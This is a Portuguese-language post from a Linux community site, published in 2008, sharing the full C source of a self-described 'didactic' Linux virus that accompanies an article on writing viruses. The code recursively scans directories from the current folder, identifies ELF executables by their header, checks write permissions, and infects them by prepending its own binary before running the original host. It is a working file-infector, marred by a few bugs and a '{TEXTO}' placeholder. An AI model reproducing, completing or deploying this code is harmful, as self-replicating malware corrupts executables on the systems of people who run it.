Vírus didático para Linux em C
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 9.402 ]
Homepage: http://prginfo.blogspot.com
Código fonte usado no artigo:
Vírus de computador e criação de um vírus em C/C++ (parte 1)
http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=8309
Esse vírus tem intuito de iniciar o pensamento lógico na criação de vírus e discutir as dificuldades de se criar um vírus para Linux comparando com a criação para vírus no Windows.
/* virus1.c Obs.: os tipos de arquivos podem ser 10 - link simbólico lxxx 8 - arquivo -xxx 6 - arquivo de bloco bxxx 4 - diretório dxxx 2 - arquivo de caracter cxxx 1 - arquivo de paginação pxxx */ #include <dirent.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/stat.h> #define WA(m) m&0x02 #define WG(m) m&0x10 #define WO(m) m&0x80 #define tamVir 12239 /* Tamanho do Vírus */ char codvirus [tamVir]; /* conterá o código do vírus */ const int CABEC_EXEC[]={127, 69, 76, 70, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 3, 0, 1, 0, 0, 0}; /* Cabeçalho de um binário executável */ int _USER_; int _GROUP_; char *_PATH_; void infecta (char *_arq, struct stat _attr) { /*Essa técnica de infecção foi uma tentativa que deu certo, Foi feita gravando byte por bayte pois assim diminui em muito o tamanho do código, porém pode ser aperfeiçoado. No windows seria fácil, bastaria copiar o vírus para um arquivo temporário e depois copiar a arquivo a ser infectado no final do temporário, apagar o arquivo original e depois renomear o temp. No linux o buraco é "mais embaixo". Apesar de ter direito de escrita em um arquivo, o usuário pode não ter direito de escrita no diretório onde o arquivo se encontra. Logo não daria para criar o temporário. Então pode vir a pergunta. Por que não copia o arquivo para um temporário em um diretório qualquer, sobrescreve o vírus no futuro hospedeiro e inclui o temporário no final? O problema é que teria que varrer todo o disco procurando um diretório em que p usuário tivesse direito de escrita correndo o risco de não encontrar nenhum. Nem o próprio diretório do usuário home me dá garantia que posso escrever nele ou se o usuário que irá executar o vírus tem diretório home. Por que, então não guardar o executável na memória, sobrescrever o vírus no arquivo e incluir o conteúdo da memória no final? Porque nada garante que dependendo do tamanho do executável e da memória disponível irá ter espaço suficiente, principalmente se estiverem sendo executados várias estâncias do vírus ao mesmo tempo. Como não temos problema de tempo, pois o vírus ficará na memória idefinidamente, essa solução me pareceu melhor.*/ FILE *file_exec; FILE *file_tmp; char buf[1024]; char *tmp; long i; if (!(file_exec=fopen(_arq, "rw+"))) return; tmp=(char *)malloc(strlen (_arq)+4); strcpy (tmp, _arq); strcat (tmp,".tmp"); if (file_tmp=fopen(tmp, "w+")) { unlink(tmp); /* Copiando o hospedeiro para o temporário */ while (i=fread(buf,1,1024,file_exec)) fwrite(buf,1,i,file_tmp); /* Voltando ao início dos arquivos */ fseek(file_tmp,0 ,SEEK_SET); fseek(file_exec,0 ,SEEK_SET); /* copiando para dentro do arquivo original, poupamos tempo com permissões */ /*Gravando o código do vírus no arquivo temporário*/ fwrite(codvirus,1,tamVir,file_exec); /* voltando o original para depois do vírus */ while (i=fread(buf,1,1024,file_tmp)) fwrite(buf,1,i,file_exec); } free(tmp); close (file_tmp); close (file_exec); } void tentaInfectar (char *arq) { FILE *file_exec; long ret; char bout[25]; int i; /* vamos pegar os atributos do arquivo */ struct stat attrib; stat(arq, &attrib); /* verificando se o arquivo é binário Todo executavel binário assim como no windows tem um cabeçalho identificando. Não sei o significado mas abri vários binários e sem excessão eles têm os seguintes primeiros 24 byts = CABEC_EXEC */ if (!(file_exec=fopen(arq,"r"))) return; /* se não temos direiro de leitura, não serve */ ret = fread (bout, 1, 24, file_exec); /*Tem menos de 24 bytes, nem precisa testar, não é executável binário*/ if (ret <= 0) { close (file_exec); return; } for (i=0; i<=23; i++) { /* Se tiver alguma diferença no cabeçalho, não é binário */ if (CABEC_EXEC[i] != bout[i]) { close (file_exec); return; } } /* Se o usuário for root ou for igual ao dono do arquivo no caso do grupo, tem que ter direito de escrita outro caso é se o arquivo der direito de escrita para todos nestes 4 casos, podemos continuar */ if ((_USER_ != 0) && (!(WA(attrib.st_mode))) && ((_USER_!=attrib.st_uid) || (!(WO(attrib.st_mode)))) && ((_GROUP_!=attrib.st_gid) || (!(WG(attrib.st_mode))))) return; infecta (arq, attrib); } void buscaInfecta (char *d) { struct dirent *dir; DIR *path; char *strArq; char *dt; int tam; tam = strlen(d); dt=(char *)malloc (tam+1); strcpy (dt, d); /* retirando a barra do fim do nome em caso de diretório para ficar padrão quando for diretório a barra será recolocada*/ if (dt[tam-1]=='/') { dt[tam-1]='{TEXTO}'; tam--; } if (!(path=opendir (dt))) { free (dt); return; } while(dir = readdir(path)) { usleep (1000); strArq=(char *)malloc(tam + strlen (dir->d_name) + 2); strcpy (strArq, dt); strcpy (&strArq[tam], "/"); strcpy (&strArq[tam+1], dir->d_name); if ((dir->d_type==4) && (strcmp (dir->d_name,".")!=0) && (strcmp (dir->d_name,"..")!=0)) buscaInfecta (strArq); else if (dir->d_type==8) tentaInfectar (strArq); free (strArq); } closedir (path); free (dt); } void pegaDadosExport (void) { /* Pegando a Variavel PATH do sistema */ _PATH_ = getenv("PATH"); /* pegando id do usuário e do grupo do usuário que está executando a aplicação */ _USER_ = getuid(); _GROUP_= getgid(); } int pegaCodVirus (char *exec) { /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */ FILE *file_exec; char *diret; char *tmp; int i=0, j=0; int tamstr; int achou=0; long ret; /* caso não tenha digitado todo o path do arquivo */ if (!(file_exec=fopen(exec,"r"))) { tamstr=strlen(exec); /* Busca no PATH do sistema*/ while (1) { if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}')) { tmp=&_PATH_[j]; diret=(char *)malloc(i-j+tamstr+2); strncpy (diret, tmp, i-j); diret[i-j]='{TEXTO}'; strcat (diret, "/"); strcat (diret, exec); if (file_exec=fopen(diret,"r")) { free (diret); achou = 1; break; } free (diret); if (_PATH_[i]=='{TEXTO}') break; j=++i; } else i++; } if (!(achou)) return 0; } ret = fread (codvirus, 1, tamVir, file_exec); if (ret <= 0) /* Não conseguiu copiar todo o código do vírus*/ { close (file_exec); return 0; } close (file_exec); return 1; } void executaHospedeiro (char *exec, int qtde, char *param[]) { /* há 2 possibilidades. Ou foi digitado todo o caminho do arquivo ou o diretório do arquivo está no path */ FILE *file_exec; FILE *file_tmp; char *diret; char *tmp; char tmpstr[1024]; int i=0, j=0; int tamstr; int achou=0; long ret; char prog[512]; /* caso não tenha digitado todo o path do arquivo */ if (!(file_exec=fopen(param[0],"r"))) { tamstr=strlen(param[0]); /* Busca no PATH do sistema*/ while (1) { if ((_PATH_[i]==':') || (_PATH_[i]=='{TEXTO}')) { tmp=&_PATH_[j]; diret=(char *)malloc(i-j+tamstr+2); strncpy (diret, tmp, i-j); diret[i-j]='{TEXTO}'; strcat (diret, "/"); strcat (diret, param[0]); if (file_exec=fopen(diret,"r")) { free (diret); achou = 1; break; } free (diret); if (_PATH_[i]=='{TEXTO}') break; j=++i; } else i++; } if (!(achou)) return; } strcpy (prog,exec); for (ret=1; ret<qtde; ret++) { strcat (prog," "); strcat (prog,param[ret]); } if (!(file_tmp=fopen(exec,"w+"))) { close (file_tmp); return; } fseek(file_exec,tamVir,SEEK_SET); while (ret = fread (tmpstr, 1, 1024, file_exec)) fwrite (tmpstr, ret, 1, file_tmp); close (file_exec); close (file_tmp); chmod (exec,493); system (prog); unlink(prog); return; } int main (int argc, char *argv[]) { int i; i=fork(); if (i==0) { pegaDadosExport (); /* pega o código binário do vírus para infectar os outros ou então pula a infecção */ if (pegaCodVirus (argv[0])) buscaInfecta ("./"); acao(); } else executaHospedeiro ("./arqexec", argc, rgv); }
Cálculo de Fatorial usando Loop
Teste de desempenho com números primos em C
Fazendo o somatório de 1 até N
Função para exibir todos os divisores de um numero
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Como renomear arquivos de letras maiúsculas para minúsculas
Imprimindo no formato livreto no Linux
Vim - incrementando números em substituição
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Melhorando a precisão de valores flutuantes em python[AJUDA] (7)
SysAdmin ou DevOps: Qual curso inicial pra essa área? (4)
É cada coisa que me aparece! - não é só 3% (4)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta